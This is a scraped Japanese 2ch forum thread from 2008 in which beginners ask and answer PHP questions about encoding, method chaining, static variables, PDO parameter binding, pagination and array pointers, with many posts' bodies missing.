0168nobodyさん
2008/07/25(金) 00:22:40ID:???Locationでリダイレクトしてるから
Content-Typeの指定は無意味じゃないかな
適当なキーワードで検索してから、
携帯でURL表示させてここに張ってみて
面倒だったら全部じゃなくてq=〜だけでもイイから。
たぶんキーワードのエンコーディングが
Shift_JIS以外になってるんじゃないかなぁ
じゃ、俺も寝る。
今日は地震が来ません様に...ナムナム...zzz
0169nobodyさん
2008/07/25(金) 00:27:21ID:???当然phpの命令も実行されない!
と、したいのですが、どうしたら良いのですか?
header("Location:".$_SERVER['PHP_SELF']);//postを消す
でも実行や転送はされているみたいなのですが
0170nobodyさん
2008/07/25(金) 00:30:14ID:???じゃダメ
0171nobodyさん
2008/07/25(金) 00:30:32ID:???その他の基本モジュールのその他にあった…
0172nobodyさん
2008/07/25(金) 07:27:33ID:???0173nobodyさん
2008/07/25(金) 08:51:05ID:???urlencodeをするだけでいいのでしょうか?
0174nobodyさん
2008/07/25(金) 09:57:31ID:???exit(); って書かなきゃ駄目?
どう違うの?
0175nobodyさん
2008/07/25(金) 11:25:43ID:ihOrMOFR日本語だけが消えるようになってしまったんですがなにか仕様変わりましたか?
ちなみにCentOS4.6で運用してるんですが
7月18日にphp関連のパッケージが4.3.9-3.22.12にアップデートされていました。
7月14日の時点ではescapeshellcmdを使用しているスクリプトも問題なく動作していたのに…
0176おはようございます155でございます
2008/07/25(金) 13:42:08ID:???PCで「あああ」を検索
http://www.google.co.jp/m/search?id=&ie=Shift_JIS&merstrict=chtml&eosr=on&q=%82%A0%82%A0%82%A0
PCで「2ch」を検索
http://www.google.co.jp/m/search?id=&ie=Shift_JIS&merstrict=chtml&eosr=on&q=2ch
携帯で「あああ」を検索
http://www.google.co.jp/m/search?guid=on&id&eosr=on&q=%E3%81%82%E3%81%82%E3%81%82&ie=Shift_JIS&merstrict=chtml
携帯で「2ch」を検索
http://www.google.co.jp/m/search?guid=on&id&eosr=on&q=2ch&ie=Shift_JIS&merstrict=chtml
日本語が、アレなんですよね…
シフトジス(´・ω・`)。
>>172
どういうことでしょうか。
ググッてみましたがわかりません。
宜しければ詳しくご助力願いたい。
0177nobodyさん
2008/07/25(金) 13:50:41ID:???Shift-JISなんて極力使わないほうがいいと思うけど。
携帯だとだめなんだっけ?
後半部分、何が分からないのか分からないのでもっと詳しく。
0178175
2008/07/25(金) 14:02:05ID:???自作しようかと思うんですが、
$str=escapeshellarg($str);
でエスケープするのと
$str="'".ereg_replace('\'','',$str)."'";
でシングルクオート消してからシングルクオートで囲うのとでは
セキュリティ的に違いがありますでしょうか?
0180nobodyさん
2008/07/25(金) 15:20:23ID:???最後尾から検索するにはどうすればいいのですか?
0181155
2008/07/25(金) 15:23:24ID:???http://www.google.co.jp/m/search?guid=on&ie=Shift_JIS&merstrict=chtml=&p=%82%A0
eosr君がアレだったみたいですね。
とてもくだらない&下手したらurlの問題だからスレチなのにお騒がせいたしました。
いやっほォォォォォォぅぅぅぅぅうううハッピーでーす!!!!
感謝しますノシ
0185nobodyさん
2008/07/25(金) 22:27:20ID:B5N4x1kS宣言無しで普通に動作するんですが、これってPHPが自動で補完してるんですか?
0186nobodyさん
2008/07/25(金) 22:52:47ID:???0189nobodyさん
2008/07/25(金) 23:19:44ID:UqlR9HfLzend frameworkのドキュメントを見ると、
$authAdapter->setTableName('users')
->setIdentityColumn('username')
->setCredentialColumn('password');
のような書き方を見かけるんですが、これは2行目と3行目の$authAdapterを省略して、
3つのステートメントを書いているのでしょうか?
また、改行せずに1行にまとめても動作するようなんですが、メソッドチェインとの区別が
つかないような気が…
これについてPHPのオンラインマニュアルを見たのですが、見つからなかったです。
0190nobodyさん
2008/07/25(金) 23:23:50ID:???オブジェクトのメソッドの返値のオブジェクトのメソッドの返値のオブジェクトのメソッドを呼んでる
改行はスペースと区別されない
0191nobodyさん
2008/07/25(金) 23:32:54ID:???var $a;
var $b;
function Hoge($a, $b) {
$this->a = $a;
$this->b = $b;
}
}
class Hoge {
private $a;
private $b;
public function __construct($a, $b) {
$this->a = $a;
$this->b = $b;
}
}
0192nobodyさん
2008/07/25(金) 23:45:48ID:???ありがとうございます。
>>189の3つのメソッドをよく見てみると、return $thisとなってました。
メソッドチェインなんですね。どうもです。
0194nobodyさん
2008/07/26(土) 16:26:06ID:???本を四冊くらい読み、最近はフレーームワーク(ZEND)を一応理解するところまで行きました。
大雑把なプログラミングはできるかなと思います。
でも、それはちゃんとしたものとは言いがたいでしょう。
実務レベルの細やかなテクニックを学ぶにはどうしたらいいのでしょうか。
出来れば、ソース丸見えで赤面するくらいの、参考になるサイトを教えてください。
0195nobodyさん
2008/07/26(土) 16:31:12ID:???メジャーなとこでは、pear、phpmyadmin、phpbb、xoops辺り?
http://www.google.com/search?q=php+%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9
ぐぐるといっぱいあるけど。
0196nobodyさん
2008/07/26(土) 18:59:05ID:???Zend Frameworkのソースは読んでないけど、Zend_Auth_Adapterの各メソッドが
Fluent Interface的に使えるようにreturn $this;している予感。
0198nobodyさん
2008/07/26(土) 20:06:40ID:???0200nobodyさん
2008/07/26(土) 20:42:43ID:???0202nobodyさん
2008/07/26(土) 20:46:45ID:???0204nobodyさん
2008/07/26(土) 21:29:02ID:???0206nobodyさん
2008/07/26(土) 22:09:48ID:NARGMpiL世界中のパソコンが1900年より前の日付を扱うことが禁忌になっているため、
処理ができません。
そもそも時間は、普遍的なものでありプログラミング言語も含めたパソコンの仕様がこれに手を加えることこそ禁忌だと思います。
実装が出来ないので大変困っているので、来週経済産業省に対して警告するつもりですが、
トリッキーな方法でもよいので、回避する方法はないでしょうか。
phpだけが悪いわけではありませんが、phpが悪くないわけでもありません。
0207nobodyさん
2008/07/26(土) 22:12:58ID:???0208nobodyさん
2008/07/27(日) 00:53:14ID:???いや、報告しろ。命令だ。
0209nobodyさん
2008/07/27(日) 03:54:29ID:P7Lb4B4Cと書くと、abc.txtの中身が全部表示されますよね?
全部じゃなくて、上から5行くらいだけ表示したいのですが
そういう場合はどうすればいいのでしょうか?
よろしくお願いします。
0210nobodyさん
2008/07/27(日) 03:58:52ID:???abc.phpにして出したい部分だけechoすれば良いんじゃない
必要ならifとかで
なんだか色んな事を基礎からやったほうがいいと思わせる質問
0212nobodyさん
2008/07/27(日) 06:48:34ID:???http://pc11.2ch.net/test/read.cgi/hp/1215590777/315n-
カオスがここにある
0213nobodyさん
2008/07/27(日) 07:12:39ID:???こりゃカオスだな
昔の暦は正確に1年が何日か把握してなくてずれまくりだったから
正確に今日から何日前かなんて無茶だな
0214nobodyさん
2008/07/27(日) 08:46:35ID:???カートとかなら一日で作れちゃうじゃないですか。
PHPでの仕事って、どういうことやるんでしょうか?
0215nobodyさん
2008/07/27(日) 08:55:34ID:???実際に運用されてるカートは別物
0216nobodyさん
2008/07/27(日) 09:04:36ID:???あと、何行くらい?
0217nobodyさん
2008/07/27(日) 09:36:55ID:???0218nobodyさん
2008/07/27(日) 09:49:00ID:???入門書に載っている、データベースに関するモデルつくってセッション使ってアクションしてビューみたいな
単純なカートを1としたら、実際に運用されているカートの複雑さ、難易度はどのくらいですか?
0219nobodyさん
2008/07/27(日) 11:35:50ID:???0220nobodyさん
2008/07/27(日) 11:39:13ID:???何をどう勉強すりゃいいのかわかんないです。
みなさんはどうやって勉強されたんですか?
0221nobodyさん
2008/07/27(日) 11:42:40ID:???0222nobodyさん
2008/07/27(日) 11:53:02ID:???例えば、載ってる言葉は理解してるし、同じプログラムを再現することはできるんですよ。
PEARライブラリとかZENDフレームワークとか、SMARTYなどの
大まかな流れはわかるんですけど
細かいことを書いてあるわけじゃないので
一体自分に何が足りないのかがよくわからない。
書いてあることはわかる、書いてないことがわからない。
つまり、目標を立てようにも、目標となるものを思い起こす手立てがないわけです。
だから、実務レベルのカートというものを教えてもらって、目標にしたいわけです。
0223nobodyさん
2008/07/27(日) 11:59:51ID:???長い経験で得たものとか本にするのは面倒だし
だってそんな売れない本つくらないし。
俺は趣味でこのスレ見てるだけだからそれでいいけど。
仕事って仕事しないと判らないよな。
仕事っていかに楽をして客から金を出させるとかそういうことじゃない。
数人が数日働けばすく何十万って金が得られないと赤字だし。
0224nobodyさん
2008/07/27(日) 12:11:09ID:???考えさせられますね。
実務レベルの知識は実務で身につけるしかないし
手の抜き方と力の入れどころのバランス感覚も、仕事をしてみないとわからない。
経験に勝る勉強はなしって、昔から言いますもんね。
自分でコツコツ何か作ってみて、物足りなくなったらまた来ます。
ありがとうございました。
0225nobodyさん
2008/07/27(日) 12:23:35ID:???そうすれば自分の非力さが理解できる。
PHPは糞だと気づく。PHP一本の自分が糞だと気づく。
そもそも本を買うやつはバカ。俄者。
0226nobodyさん
2008/07/27(日) 12:25:28ID:???0227nobodyさん
2008/07/27(日) 12:32:38ID:???本は糞っていうけどさ
意外と本見るといろんな人の考え方がわかるから楽しいよ
寝転びながら気楽に読めるもの楽しいからね
駆け出しのフリーランスだけど、PHPは技術じゃなく納期までにやり遂げることが大事なんだなと思った
技術なんて二の次
あとは仕事のコネかな?
0228nobodyさん
2008/07/27(日) 12:35:46ID:???0229nobodyさん
2008/07/27(日) 12:38:08ID:???0230nobodyさん
2008/07/27(日) 12:40:06ID:???ここまで素直だと逆に良いと思う
0231nobodyさん
2008/07/27(日) 13:18:28ID:???0232nobodyさん
2008/07/27(日) 13:47:09ID:???0233nobodyさん
2008/07/27(日) 13:48:30ID:???0234nobodyさん
2008/07/27(日) 14:28:29ID:???0235nobodyさん
2008/07/27(日) 14:41:36ID:???0236nobodyさん
2008/07/27(日) 14:43:36ID:???0237nobodyさん
2008/07/27(日) 16:13:41ID:???0238nobodyさん
2008/07/27(日) 16:32:39ID:um099hpfhttp://www.phppro.jp/school/phpschool/vol6/2
文末に訂正文が書いてあるけど、コードは訂正されてないままですか?
120) { $error_message[] = "年齢は1才から120才の範囲で入力してください。。。以降がそのままブラウザにテキスト表示される。
0240nobodyさん
2008/07/27(日) 16:48:15ID:???0241nobodyさん
2008/07/27(日) 16:58:17ID:um099hpfこんな感じえす
ttp://uproda.2ch-library.com/src/lib041728.jpg
インプットフォームには以下が表示されてます
<?php print(htmlspecialchars($age, ENT_QUOTES)); ?>
0243nobodyさん
2008/07/27(日) 17:03:51ID:???htaccessでhtmでPHPが使えるように設定してあるのか?
基本的にPHPは.phpじゃないと動かないぞ
0245nobodyさん
2008/07/27(日) 17:08:05ID:um099hpfXAMPPで自動設定してくれてるものと思ったのでインスコしてそのままでs。
というか、拡張子php変えたら動きましたorz
いらん手間かけさせてごめんなさい。
0246nobodyさん
2008/07/27(日) 17:16:46ID:???0247nobodyさん
2008/07/27(日) 18:23:06ID:???0248nobodyさん
2008/07/27(日) 18:28:18ID:???0249nobodyさん
2008/07/27(日) 18:28:25ID:???0251nobodyさん
2008/07/27(日) 19:01:26ID:???0252nobodyさん
2008/07/27(日) 19:30:23ID:???0253nobodyさん
2008/07/27(日) 21:37:56ID:???.htmでPHPを動かすのは特殊だからまた別途で設定するのが普通だろ
それをXAMPPをあーだこーだ言うやつってなんなの?頭悪いの?
それとも何か?デフォルトで.htmでPHPを動かせるように設定しろってのか?
そっちのほうが特殊すぎるだろ、アホじゃねーの
0254nobodyさん
2008/07/27(日) 21:49:05ID:???.htmをphpで動かしたければ自分でそうする。
しかし245はXAMPPを使っていたのでそれをしなかった。
自動で「.htmがphpで動くようになっている」と思っていた。
1.これが「XAMPPのせい」でないとする理由は?
2.「XAMPPを使っていなかったらこんな問題が起きなかった」ことが間違いとする理由は?
0255nobodyさん
2008/07/27(日) 22:01:45ID:???0257nobodyさん
2008/07/27(日) 23:43:57ID:???AddType application/x-httpd-php .html
</IfModule>
これで普通は逝ける筈〜
0258nobodyさん
2008/07/28(月) 10:58:18ID:apihHBHUclass Foo {
function foo { echo "Foo¥n" };
function bar { echo "Bar¥n" };
}
を
class Foo {
$arr = array('foo'=>'echo "Foo¥n";', 'bar'=>'echo "Bar¥n"');
foreach ($arr as $name=>$body) {
define_method($name, $body);
}
}
のようにしたいんだけど、できますか?
0259nobodyさん
2008/07/28(月) 11:45:24ID:???0260nobodyさん
2008/07/28(月) 11:55:09ID:???動的に作りたい関数を定義したファイルを作る
これをincludeする
使う
定義したファイルを消す(お好みで)
0261nobodyさん
2008/07/28(月) 12:42:12ID:apihHBHUえー、そんな方法しかないんでしょうか。
それはちょっとなー。
0263nobodyさん
2008/07/28(月) 12:49:05ID:dgDJYOWrBをボタン等で閉じたときにAを更新するにはどうすればいいでしょうか
宜しくお願いします
0266nobodyさん
2008/07/28(月) 13:12:06ID:apihHBHUうひょー なにこれ、すげー
ありがとうございました
0267nobodyさん
2008/07/28(月) 17:03:07ID:???> わけあって、PHPで動的にメソッドを定義したいんだけど、できるかな?
名前が変だがオーバーロードを使う。
あるクラスのメソッドを呼び出したとき、
そのクラスにメソッドがあれば、通常通り呼ばれ(当たり前)
そのクラスにメソッドがなければ、エラーになる前にコールバックが呼ばれる。
そのコールバックで処理をすれば、あたかもクラスにメソッドがあるかのよう。
0269nobodyさん
2008/07/28(月) 20:06:08ID:???0270nobodyさん
2008/07/28(月) 21:48:41ID:???0271nobodyさん
2008/07/28(月) 22:47:14ID:???0272nobodyさん
2008/07/28(月) 22:49:09ID:???0273nobodyさん
2008/07/28(月) 23:38:25ID:???0274nobodyさん
2008/07/29(火) 00:05:23ID:???下らねぇ質問ハンターのみなさまに質問です。
1. fsockopen -> echo fgets() でhtml表示
2. 上記fgets()の出力先はtableなどの別枠内。
例えば1.でググルのhtml取得、2.の枠内でググル検索する、このまま永遠に
2.の枠内をブラウザ代わりに使って検索、検索、検索、エンドレス。
ただし 2.エンドレスの際には1.の手順を都度繰り返しhtmlを表示するように
したいけど 2.のエンドレスをどんな作りにしたらいいのかで悩んでます。
簡単に言うと翻訳サイトやプロキシみたいな状態にしたいのです。
(てっぺんのURLの配下として別のURL上のhtmlを表示する)
HTTPリクエスト・レスポンスヘッダらへんがキーポイント?と
妄想してますが、よいアイデアがありましたら教えてください。
0275nobodyさん
2008/07/29(火) 00:10:53ID:???0276nobodyさん
2008/07/29(火) 00:53:39ID:???必要なのはそんな枝葉じゃなく、変数のレキシカルスコープとcreate_function()じゃないもっと直接的な表現。
0277nobodyさん
2008/07/29(火) 01:07:43ID:???0278nobodyさん
2008/07/29(火) 13:42:35ID:AS12gztS上記の$strの中から数字のみ取りだすにはどうすればよいですか?
$str = '1892565'; ←このようにしたいです。
0279278
2008/07/29(火) 13:47:16ID:AS12gztS0280nobodyさん
2008/07/29(火) 13:55:25ID:???0282nobodyさん
2008/07/29(火) 14:17:49ID:???0283nobodyさん
2008/07/29(火) 15:41:11ID:???0285nobodyさん
2008/07/29(火) 17:27:25ID:???中途半端な糞コードをくれてやんよ
後は自分でなんとかシナ
$array = file_get_contents("hoge.csv");
$result = array_search("検索文字",$array);
0286285
2008/07/29(火) 17:32:34ID:???$handle = fopen("hoge.csv", "r");
$i = 0;
while ($handle and ($value = fgetcsv($handle, 2000, ",")) !== FALSE) {
if ($value == "検索文字") {
echo $value;
}
++$i;
}
fclose($handle);
これでいいか?
0287nobodyさん
2008/07/29(火) 17:49:54ID:Po2hd/3ylist ($year, $month, $day) = explode('-', date('Y-m-d'));
みたいな事をしてるんだけど、他に良い方法無いかな?
0288nobodyさん
2008/07/29(火) 17:54:39ID:???0292nobodyさん
2008/07/29(火) 18:41:02ID:???0294nobodyさん
2008/07/29(火) 20:11:34ID:???0295nobodyさん
2008/07/29(火) 20:29:12ID:???0296nobodyさん
2008/07/29(火) 22:55:07ID:???0297nobodyさん
2008/07/30(水) 06:05:36ID:HP8PsezjString型を短くする場合substrを使いますが
float型を短くしたい場合は何を使って縮めればいいのでしょうか?
3.1415926....を3.14にする場合どの関数を使えばよいのでしょう?
0299297
2008/07/30(水) 06:16:54ID:HP8Psezj早速のレスどうもありがとうございます。
mixed argsと書いてるのでfloatでも平気そうですね。
そしてまたまた質問で申し訳ないのですが、
return型がStrigのようなのでparseFloatのようなものはないでしょうか?
よろしくお願いします。
0300nobodyさん
2008/07/30(水) 07:08:52ID:???0301nobodyさん
2008/07/30(水) 07:23:04ID:???0302nobodyさん
2008/07/30(水) 07:26:21ID:???まぁceilやfloorもあるし
0303nobodyさん
2008/07/30(水) 07:32:47ID:???0304nobodyさん
2008/07/30(水) 12:15:40ID:JLHPzrodhttp://www.phppro.jp/school/phpschool/vol10/3
のソースコードの中盤
if (isset($_POST["title"]) && $_POST["title"]) {
の $_post["title"] って何をしてるんですか?
何を比較してるかよくわからないのですが・・・
気になって仕方がないのでおしえてください
0305nobodyさん
2008/07/30(水) 12:39:57ID:???0306304
2008/07/30(水) 12:45:51ID:JLHPzrod空文字かどうかというのは、isset($_post["title"])でチェックするもんだと思ってたんですけども
そのあとの && $_post["title"] もそうなんですか?
0307nobodyさん
2008/07/30(水) 13:07:01ID:???0308nobodyさん
2008/07/30(水) 13:09:11ID:???0309nobodyさん
2008/07/30(水) 13:09:27ID:8Vu4n542!empty($_POST['title'])
これをはしょった書き方だと思います。
中身が空でも、キーがある場合はisset()が真になるので、こうしたチェックをするんです。
0310nobodyさん
2008/07/30(水) 13:16:03ID:Af+1KtEz0311nobodyさん
2008/07/30(水) 13:18:16ID:???0312nobodyさん
2008/07/30(水) 13:32:32ID:???0313nobodyさん
2008/07/30(水) 13:47:57ID:???0314304
2008/07/30(水) 13:49:17ID:JLHPzrod(=unsetされてないかどうかチェック?)
そのあとの $_post["title"] は、データー存在の有無のチェック
(=データ有:tureを返す、データ無:falseを返す !emptyと同意)
・・・というとらえ方ですね。すっきりしたーw
ありがとうございました。
0316nobodyさん
2008/07/30(水) 14:47:09ID:???$_POST["title"]に文字列0のような空とみなされるものが入ってるとfalseになるよ
0321nobodyさん
2008/07/30(水) 15:40:06ID:???0322nobodyさん
2008/07/30(水) 15:53:22ID:???0323nobodyさん
2008/07/30(水) 20:17:13ID:???0324nobodyさん
2008/07/30(水) 22:38:29ID:???おれがマヌアルを見る。
0325nobodyさん
2008/07/30(水) 23:04:59ID:l8kbvEzZありそうなので探したのですが、見つかりませんでした。
for文で一文字ずつ数えるしかないでしょうか。
たとえば、「東京都中央区東銀座」なら、「東」で検索すると二文字あるというようなイメージです。
どうか宜しくお願いします。
0327nobodyさん
2008/07/30(水) 23:16:48ID:l8kbvEzZありがとうございした!!!
見落としてました。感謝感謝です。
0328nobodyさん
2008/07/31(木) 01:04:47ID:???↓
400件あった場合 20件だけ表示
↓
次へ クエリを使う
↓
?page=2へ行く
何も表示されない。。。 もうわけわかりません><
0329nobodyさん
2008/07/31(木) 01:25:14ID:???0331nobodyさん
2008/07/31(木) 07:02:15ID:Dk1YGUwiphp.iniの設定はしたのですが、
〜.dllがloadできないと怒られます
〜.dllを探してみたところ見つからないので、
たぶんこれが原因だと思うのですが、どうすればよいか分かりません
どなたかアドバイスいただけないでしょうか
0332nobodyさん
2008/07/31(木) 07:08:33ID:???0333nobodyさん
2008/07/31(木) 09:29:30ID:DMpgDcRT22文字の暗号された英数字が見つかりました
何か気になって仕方ありません
昔暗号化した記憶はあるのですが、その後は不明です
どのようなソフトで暗号されたかわかりますでしょうか?
手がかりは全て22文字という事だけです
0335nobodyさん
2008/07/31(木) 10:30:14ID:X6YvYw8a関数で呼び出した変数の値を保持させたい場合であれば、定数でやってもいいように理解してるんですが
どうかよろしくお願いします
0336nobodyさん
2008/07/31(木) 10:39:35ID:???0337nobodyさん
2008/07/31(木) 10:41:25ID:???初心者に分かりやすく書くと、
・定数:一度定義したらプログラム実行中は書き換えられない
・変数:実行中に何度でも変更可能
あとは使い方次第。どうぞ。
0338nobodyさん
2008/07/31(木) 10:42:23ID:???勘違いしてるみたいだから、ググってその二つの説明をよく読んだほうがいい
ここで説明されるよりわかりやすいところがいくつも見つかるよ。
0339nobodyさん
2008/07/31(木) 10:46:57ID:???0340nobodyさん
2008/07/31(木) 11:07:13ID:???どのような勉強方が効率的で頭に入るのか教えてください。
0341nobodyさん
2008/07/31(木) 11:10:40ID:???0343nobodyさん
2008/07/31(木) 11:24:09ID:???名前・本文をフォームで投稿し、それが表示される流れまでを作成してみる。
次に文章の色が変更出来る様にとか、削除パスで書き込みを削除出来る様にするとか、
過去ログを見られる様にとか、二重投稿を禁止するとか、
付加機能をどんどん付けていく。
そうやって慣れていったな俺は。
0344335
2008/07/31(木) 11:26:12ID:???一応、マニュアルと大垣靖男さんのはじめてのPHP言語プログラミング入門は読んでみました
>>337
スタティック変数を使う目的は変数の値を保持させたい、つまり変数の値ときですよね
その場合だと定数でもいいんじゃないかと
んんん、ユーザからの入力を受けとって値を維持させたい場合とかで使えますね
できればよく使われる場合、場面を教えていただけないでしょうか
0345335
2008/07/31(木) 11:28:05ID:???消し忘れました・・・・・・
連投スイマセン・・・
0346nobodyさん
2008/07/31(木) 11:36:11ID:???0348335
2008/07/31(木) 13:08:54ID:???変数:常時変更可能
スタティック変数:?
定数:値設定後は常時変更不可
んースタティック変数は、定数でも変数でも代役可能な感じですか?
0349335
2008/07/31(木) 13:19:47ID:???<?php
function test(){
$a = 0;
$a = $a + 1;
echo $a;
echo "<br />";
}
function test2(){
static $a = 0;
$a = $a + 1;
echo $a;
echo "<br />";
}
test();
test();
test();
echo "<hr />";
test2();
test2();
test2();
?>
再帰関数の使いどころは?と聞きたいところですがまた今度にしますw
0350nobodyさん
2008/07/31(木) 15:30:24ID:???「スタティック関数」と連呼していたのがバカな事なのに気づければ良し。
0351nobodyさん
2008/07/31(木) 15:58:17ID:???$P=$_GET["p"];
if($P>0){
$Prev=$P-1;
$PrevPage="<a href='weapon.php?p={$Prev}'>前の10件</a>";
}
$Size=sizeof($Data);
if($Size/10-1>$P){
$Next=$P+1;
$NextPage="<a href='weapon.php?p={$Next}'>次の10件</a>";
}
?>
<p>
全<?=$Size?>件 | <?=$PrevPage?> <?=$NextPage?>
</p>
<?php
for($i=$P*10;$i<$P*10+10;$i++){
$line=explode(",",$Result[$i]);
?>
0352nobodyさん
2008/07/31(木) 16:02:49ID:???0353nobodyさん
2008/07/31(木) 19:14:58ID:???static変数はクラスでオブジェクトのプロパティとは別に値を共有する場合に使う
例えばいくつかのオブジェクトがあってもDBの接続は一つでよくて、
それを使いまわしたいときとか
0354nobodyさん
2008/07/31(木) 20:45:30ID:???0355nobodyさん
2008/07/31(木) 21:38:39ID:hFDJvSk0ほんとにおしましか?
0356nobodyさん
2008/07/31(木) 21:47:02ID:LBsOXYef0358nobodyさん
2008/07/31(木) 22:05:05ID:ANn4X+PY<img src=test.jpg width=100px height=100px />
というふうに=の後が"で囲っていないソースがあるとします。
これをPHPで"を付けるようにする関数はありますでしょうか?
0359nobodyさん
2008/07/31(木) 22:24:16ID:???0361nobodyさん
2008/08/01(金) 02:04:59ID:NVSNXw+7いまの動いてるアプリどーすればいいんだよホント。トホホ
めんどくせーーーーーーーー
0362nobodyさん
2008/08/01(金) 03:51:57ID:???そろそろだな
0363nobodyさん
2008/08/01(金) 04:40:06ID:???$deta="<html><head></head><body>
あああ<font color='#ff0000'>いいい</font>うううえええお
</body></html>";
$fpos=strpos($deta,"<body>");
$npos=strpos($deta,"</body>");
$body=substr($deta,$fpos,$npos);
echo $body;
?>
↑というテストコードを書いたとします、とすると結果的に’あああいいいうううえええお’が出力されます。
同様なコードで$detaを、別のhtmlに変えて、h4タグだけを出力させるため、
$fpos=strpos($deta,"<h4>");
$npos=strpos($deta,"</h4>");のように書き換えて、コードを実行させると
<h4>タグに加えて余分なhtmlコードが付加されてしまいます。
例えば、’<h4>PHP初心者です</h4>あああいいううううえええおおお’という感じです。
原因に、htmlコードにスペースや改行が含まれているからとか、エスケープしなければならない文字が含まれてるとか
考え、テスト用のコードにスペースや改行を加えて実行させたところやはり正常に、’あああいいいうううえええお’が出力
されます。
この差と原因はなんなんでしょうか?
0364nobodyさん
2008/08/01(金) 05:09:18ID:???本当に
$deta="<html><head></head><body>
あああ<font color='#ff0000'>いいい</font>うううえええお
</body></html>";
のときは正常なの?
ブラウザ上の表示だけじゃなくHTMLソースみた?
0365nobodyさん
2008/08/01(金) 05:47:24ID:???文字列を抜き出すなら正規表現でやってください
0366nobodyさん
2008/08/01(金) 08:29:24ID:???やりたいこと:
LIMIT の部分に PHP からパラメータを割り当てたい。
問題:
LIMIT 部分に対してだけエラーが起きてしまう。
WHERE に対してパラメータを割り当ててもエラーにはならない。
以下がコード(一部抜粋)です。
$sql = 'select store_id, store_code from store limit 0, :limit_size';
$st = $conn->prepare($sql);
$st->bindValue('limit_size', 5);
$st->execute();
$rows = $st->fetchAll(PDO::FETCH_ASSOC);
print_r($rows);
以下が発生したエラーです。
PHP Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[4200
]: Syntax error or access violation: 1064 You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right sy
tax to use near ''5'' at line 1' in ...
間抜けな間違いをしているのだと思うのですが、
LIMIT でだけエラーが出る理由が分からず…orz
0369nobodyさん
2008/08/01(金) 09:13:50ID:???書き込む前に単純なコードにして動作確認後、
DB 接続以外は削除して貼り付けてました。
DB 接続で挙動が変わる話なのでしたら失礼しました。
>> 368
おお!できました!
う〜む、型指定しないとダメだったとは…勉強になりました。
ありがとうございました。
0370nobodyさん
2008/08/01(金) 13:28:35ID:???多分、「〜limit 0, '5'」になってるから。
0371nobodyさん
2008/08/01(金) 14:19:57ID:???関数を使って80字ルールに収まるように
書きたいです。一行づつファイルを読んで
それを文字列として結合してるから、return で
fileオブジェクトを返すとか...phpよくわからんorz
0372nobodyさん
2008/08/01(金) 14:44:37ID:EXnjM6svというデータがあって、さしすせそまでを取り出したいときの方法を教えてもらえませんか
0373nobodyさん
2008/08/01(金) 15:22:30ID:???質問になってないのでやりなおし
>>372
substr
preg_match
file
explode
お好きなものを。
0374nobodyさん
2008/08/01(金) 16:35:00ID:axKZA4yxPHPでHTMLタグを書いてそれをDBに放り込むときに
「'」「"」などを「\'」や「\"」に置き換えたほうがよいのでしょうか?
0376363
2008/08/01(金) 17:15:19ID:???>>365
ご回答ありがとうございました。
正規表現とstrip_tags()の組み合わせでなんとかタグを抜き出せました。
0377nobodyさん
2008/08/01(金) 17:19:18ID:g19BqkRUreset ? 配列の内部ポインタを先頭の要素にセットする
prev ? 内部の配列ポインタをひとつ前に戻す
next ? 内部配列ポインタを進める
end ? 配列の内部ポインタを最終要素にセットする
という関数が用意されていますが
初期のポインタ位置をセットするにはどうしたら良いんでしょうか?
0378nobodyさん
2008/08/01(金) 17:31:07ID:???汎用ライブラリとか使っててプレースホルダが利用できないときはmysql_escape()とかpg_escape()とか使う。
0380377
2008/08/01(金) 18:11:52ID:g19BqkRUやりたい事は5つの要素を含む連想配列があった場合に
3つ目の要素から次の要素(4つ目)とひとつ前の要素(2つ目)の
値を引き出したいのです。
0382377
2008/08/01(金) 18:22:30ID:g19BqkRU$ary = array("st"=>"aaa","2"=>"bbb","34"=>"ccc","99"=>,"ddd","ed"=>"eee")
という配列があった場合に
$ary["34"] の値からみて
前の値 $ary["2"] と次の値 $ary["99"] を取得したい
色々やってみているけどやっぱりeachで読み飛ばすしかないんでしょうか?
0383nobodyさん
2008/08/01(金) 18:23:22ID:???よーするに
array('りんご' ,'ごりら' ,'らっぱ' ,'ぱせり' ,'りす');
とあった時に当然最初のポインタはりんごから始り、なんらかのループ処理とかするが、
何らかの処理をしていきなりらっぱにポインタを置き、そこからの処理をしたいということだな?
ちなみに答えはわからんw
0384377
2008/08/01(金) 18:26:52ID:g19BqkRUそういうことです
らっぱにポイントを初期セットしたい
0385nobodyさん
2008/08/01(金) 18:30:12ID:???34というキーを発見したら、一つ前に戻って(prev)それから二つ進めば(next * 2)いいんじゃないの?
と試していない思いついた事を言ってみる
なんかもっといい方法がありそうだけど・・
あとデータの形をもっと工夫できないのかな・・
0387nobodyさん
2008/08/01(金) 19:13:38ID:???まぁ、無いって事はループ処理しろって事だと思うが
あるのかな・・
0388377
2008/08/01(金) 19:25:48ID:g19BqkRUどうしようも無いようなのでとりあえず
while と each で読み飛ばして取得するようなもので
ごまかしておきました…件数が増えるとorz
0391夜中に質問すいません
2008/08/02(土) 03:58:45ID:F4PgkzNbfile_get_contentsって下記のように書いて取得してみましたがうまくいきませんでした。
どのように書いてあげればいいでしょうか?
yahooにしてますが、URLは自分のサイト内になります。
<?php file_get_contents('http://www.yahoo.co.jp'); ?>
0392nobodyさん
2008/08/02(土) 04:08:44ID:???0393夜中に質問すいません
2008/08/02(土) 04:17:14ID:???こんな夜中に有難うございましたm(_ _"m)ペコリ
0394nobodyさん
2008/08/02(土) 05:53:14ID:Fpbct2Dcブログ内検索のような検索ルーチンを作りたいと思っています。
こういう事が出来るプラグインや作り方の参考になるサイトはありませんか?
0395nobodyさん
2008/08/02(土) 11:54:38ID:???ブログっていっても色々あるだろ
おおざっぱすぎるんだよ
ていうか多くのブログでデフォルトで検索機能はついてるはずだが
ないならNamazuでも入れときゃいいんじゃね?
0396nobodyさん
2008/08/02(土) 17:51:03ID:???あれ正直使えないんじゃないかと思うよ
0397nobodyさん
2008/08/02(土) 18:21:43ID:QOTyBDTF0398nobodyさん
2008/08/02(土) 18:27:10ID:???0399 ◆gw9Vq5kGF2
2008/08/02(土) 19:03:15ID:37jLYgzMfor ($rand=0; $rand<10; $rand++){
$data .= $rand
}while($i<$count){
$fp = fsockopen ($host, 80, $errno, $errstr, 30);
if (!$fp) {
error("接続できません<br>\n");
0400 ◆gw9Vq5kGF2
2008/08/02(土) 19:04:55ID:37jLYgzM// 読み書きのタイムアウト設定
fwrite($fp, "GET" . $url . " HTTP/1.0\r\n");
// ヘッダの終了を通知
fwrite($fp, "\r\n");
// 内容の送信
